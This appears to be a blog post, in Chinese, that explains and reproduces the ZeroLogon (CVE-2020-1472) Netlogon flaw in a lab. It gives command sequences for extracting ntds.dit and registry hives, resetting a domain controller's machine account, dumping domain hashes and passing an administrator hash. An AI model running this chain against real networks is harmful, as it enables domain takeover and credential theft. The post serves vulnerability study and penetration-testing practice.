CVE-2020-1472的分析与复现

0x01 原理简介

Netlogon远程协议(也称为MS-NRPC)是一个WIndows域控上使用的远程进程调用(RPC)接口,仅由连接到域的设备使用。 MS-NRPC包括身份验证方法和建立Netlogon安全通道的方法。这些更新强制指定的Netlogon客户端行为,以便在成员计算机和Active Directory (AD)域控制器(DC)之间使用带有Netlogon安全通道的安全RPC。最常用于让用户使用 NTLM 协议登录服务器,也用于 NTP 响应认证以及更新计算机域密码。

ZeroLogon (CVE-2020-1472) 影响域内登录认证协议Netlogon (MS-NRPC) 中所使用的加密身份验证方案 (AES-CFB8),在通过NetLogon协议与AD域控建立安全通道(RPC)时,强行登录尝试,对全零的纯文本应用AES-CFB8加密将导致全零的密文,从而可以绕过正常认证,进一步可获取域管理员HASH,获取域管权限 。

AES-CFB8的工作原理是,通过在明文前面添加一个16字节的初始化矢量(IV),然后将AES应用于IV和明文的前16个字节,并采用AES输出的第一个字节,来加密明文的每个字节,然后将其与下一个纯文本字节进行异或。

利用身份验证协议的方法是强行登录尝试。对于256个密钥中的1个,对全零的纯文本应用AESCFB8加密将导致全零的密文,从而启用登录绕过,这就是名称zerologon的来源。

使用NetrServerPasswordSet2方法,可以为客户端创建一个新密码,该密码可以使用AES-CFB8用会话密钥进行加密。 Netlogon纯文本密码由516个字节组成,后四个表示密码长度。通过提供516个零,它将被解密为516个零或一个空密码。以这种方式更改密码只能在AD中进行更新。

[MS-NRPC]: 网络服务器密码集 2 (运营 30) |微软文档 (microsoft.com)

大部分漏洞利用代码的工作原理是,向netlogon通道发送带有多个空字节的身份验证请求,然后发送一个零的密码文本和用于身份验证的质询标志

0x02 ntds.dit

那什么又是ntds.dit?

Ntds.dit文件是域环境中域控上会有的一个二进制文件,是主要的活动目录数据库,其文件路径为域控的 %SystemRoot%\ntds\ntds.dit,活动目录始终会访问这个文件,所以文件禁止被读取。Ntds.dit包括但不限于有关域用户、组和组成员身份和凭据信息、GPP等信息。它包括域中所有用户的密码哈希值,为了进一步保护密码哈希值,使用存储在SYSTEM注册表配置单元中的密钥对这些哈希值进行加密。

而在非域环境也就是在工作组环境中,用户的密码等信息存储在SAM文件,想要破解SAM文件与Ntds.dit文件都需要拥有一个System文件。和SAM文件一样,Ntds.dit是默认被Windows系统锁定的。这也是使用mimikatz经常需要导出的文件

1
2
3
ntds.dit文件位置: C:\Windows\NTDS\NTDS.dit
system文件位置:C:\Windows\System32\config\SYSTEM
sam文件位置:C:\Windows\System32\config\SAM

导出该文件的方法也是有多种

mimikatz-dcsync

前提:高权限

Mimikatz有一个功能(dcsync),它可以利用目录复制服务(Directory Replication Service, DRS)从NTDS.DIT文件中提取密码哈希值。

1
2
3
1.mimikatz lsadump::dcsync /domain:redteam.com /all /csv  		//可以通过dcsync直接获取test域内所有用户hash
2.mimikatz lsadump::dcsync /domain:redteam.com /user:admin //获取单个用户的详细信息
3.mimikatz lsadump::lsa /inject //查看所有用户的所有详细信息

image-20211112004131013

这里报了个错…….估计是环境原因

image-20211112004846754

image-20211112004353485

vssadmin卷影拷贝

vssadmin是Windows上的一个卷影拷贝服务的命令行管理工具,可用于创建和删除卷影拷贝、列出卷影拷贝的信息,显示已安装的所有卷影拷贝写入程序和提供程序,以及改变卷影拷贝的存储空间的大小等。

适用机器:Windows 10,Windows 8.1,Windows Server 2016,Windows Server 2012 R2,Windows Server 2012,Windows Server 2008 R2,Windows Server 2008

参考链接: vssadmin | Microsoft Docs

1
2
3
1.vssadmin create shadow /for=C:								//创建c盘卷影拷贝
2.copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\ntds\ntds.dit C:\ntds.dit //在创建的卷影拷贝中将ntds.dit复制到C盘
3.vssadmin delete shadows /for=c: /quiet //删除

image-20211112005623582

1
2
3
复制sam或者system文件:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\system.hiv
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\sam.hiv

ntdsutil.exe

Ntdsutil.exe 是一个为 Active Directory 提供管理设施的命令行工具,该工具被默认安装在了域控制器上,可以在域控上直接操作,也可以通过域内机器在域控上远程操作,但是需要管理员权限。使⽤ ntdsutil.exe,可以维护和管理活动⽬录数据
库、控制单个主机操作、创建应⽤程序⽬录分区、删除由未使⽤活动⽬录安装向导(DCPromo.exe)成功降级的
与控制器留下的元数据等。

1
ntdsutil snapshot "activate instance ntds" create quit quit   //首先建立快照,该快照包含Windows中的所有文件,且在复制时不会受到Windows锁定机制的影响

image-20211112011847351

创建了一个名为 de5c45d4-a705-46ec-96be-2cea86441410的快照

1
2
ntdsutil snapshot "mount {ID}" quit quit	  		//加载刚刚的快照
ntdsutil snapshot "mount {de5c45d4-a705-46ec-96be-2cea86441410}" quit quit

image-20211112012438868

3.

1
copy C:\$SNAP_202111120118_VOLUMEC$\windows\ntds\ntds.dit c:\ntds.dit  

image-20211112012707478

//将快照中的ntds.dit拷贝到c盘

4.

1
ntdsutil snapshot "mount {de5c45d4-a705-46ec-96be-2cea86441410}" "delete {de5c45d4-a705-46ec-96be-2cea86441410}" quit quit		

//删除刚才创建的快照

image-20211112012835669

除了利用上面那种操作来获取ntds.dit外,还可以利用Ntdsutil.exe创建媒体安装集(IFM)来用于提取NTDS.dit文件。在使用ntdsutil创建创建媒体安装集(IFM)时,会自动进行生成快照、加载、将ntds.dit、计算机的SAM和SYSTEM文件复制到目标文件夹中等操作,我们可以利用该过程获取NTDS.dit文件,需要管理员权限。

Ntdsutil是本地处理 Active Directory 的命令实用程序,并为DCPromo启用IFM集创建。IFM与DCPromo一起用于“从媒体安装”,因此被升级的服务器不需要通过网络从另一个DC复制域数据。

当创建一个IFM时,VSS快照会被自动拍摄,挂载,NTDS.DIT文件和相关数据被复制到目标文件夹中。

在域控制器中执行如下命令即可:

1
2
ntdsutil "activate instance ntds" Ifm "create full C:\ntdsutil" Quit quit		//生成文件
ntdsutil "ac i ntds" "ifm" "create full c:\ntdsutil" q q //简洁版

image-20211112011046874

文件夹里保存着需要的文件

image-20211112011320904

image-20211112011331512

总结

当然获取ntds.dit的方法还有很多,有很多工具和脚本,这里就不一一细说了,本来只打算复现下 zerologon ,扯远了

0x03 漏洞利用

影响系统版本:该 Win2008 后的所有版本

1
2
3
4
5
6
7
8
9
10
11
12
13
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2012
Windows Server 2012 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 R2 (Server Core installation)
Windows Server 2016
Windows Server 2016 (Server Core installation)
Windows Server 2019
Windows Server 2019 (Server Core installation)
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)
Windows Server, version 2004 (Server Core installation)

利用条件:

1
攻击者只需要定位域控主机名及IP,并且可以访问域控,就可以在无需任何凭据的情况下拿到域管理员的权限,甚至不需要在域内

注意:域控的机器帐户HASH存储在注册表中,系统启动时会将其加载到lsass,当攻击置空域控HASH后,仅AD (NTDS.DIT) 中的密码会更改,而不是注册表或加载到lsass中的密码,域控存储在域中的凭证与本地的注册表/lsass中的凭证不一致时,这样将会导致域控脱域,无法使用Kerberos进行身份验证,因此要尽快恢复。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
1.python cve-2020-1472-exploit.py ad-2012 10.0.0.12 						//使用脚本将域控机器账户重置

2.python secretsdump.py test.com/ad-2012$@10.0.0.12 -no-pass //使用dcsync导出域内所有凭证

3.python wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:ccef208c6485269c20db2cad21734fe7
test.com/Administrator@10.0.0.12 //利用wmic进行hash传递

4.导出 sam system 等⽂件到本地 用于恢复
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save

5..删除文件
del /f system.save
del /f sam.save
del /f security.save

6.python secretsdump.py -sam sam.save -system system.save -security security.save
LOCAL //破解原域控机器上得hash值,用于恢复密码

7.python reinstall_original_pw.py ad-2012 10.0.0.12 9c786d87f82b46071818e5bda3a9faab
//恢复密码

环境出了点问题,这里的图自行脑补

ZeroLogon(CVE-2020-1472) 分析与狩猎 - 云+社区 - 腾讯云 (tencent.com)

(31条消息) ZeroLogon (CVE-2020-1472) 漏洞利用_Captain_RB的博客-CSDN博客

内网渗透测试:从NTDS.dit获取域散列值 - FreeBuf网络安全行业门户

挖个坑,改日来补~

Peace.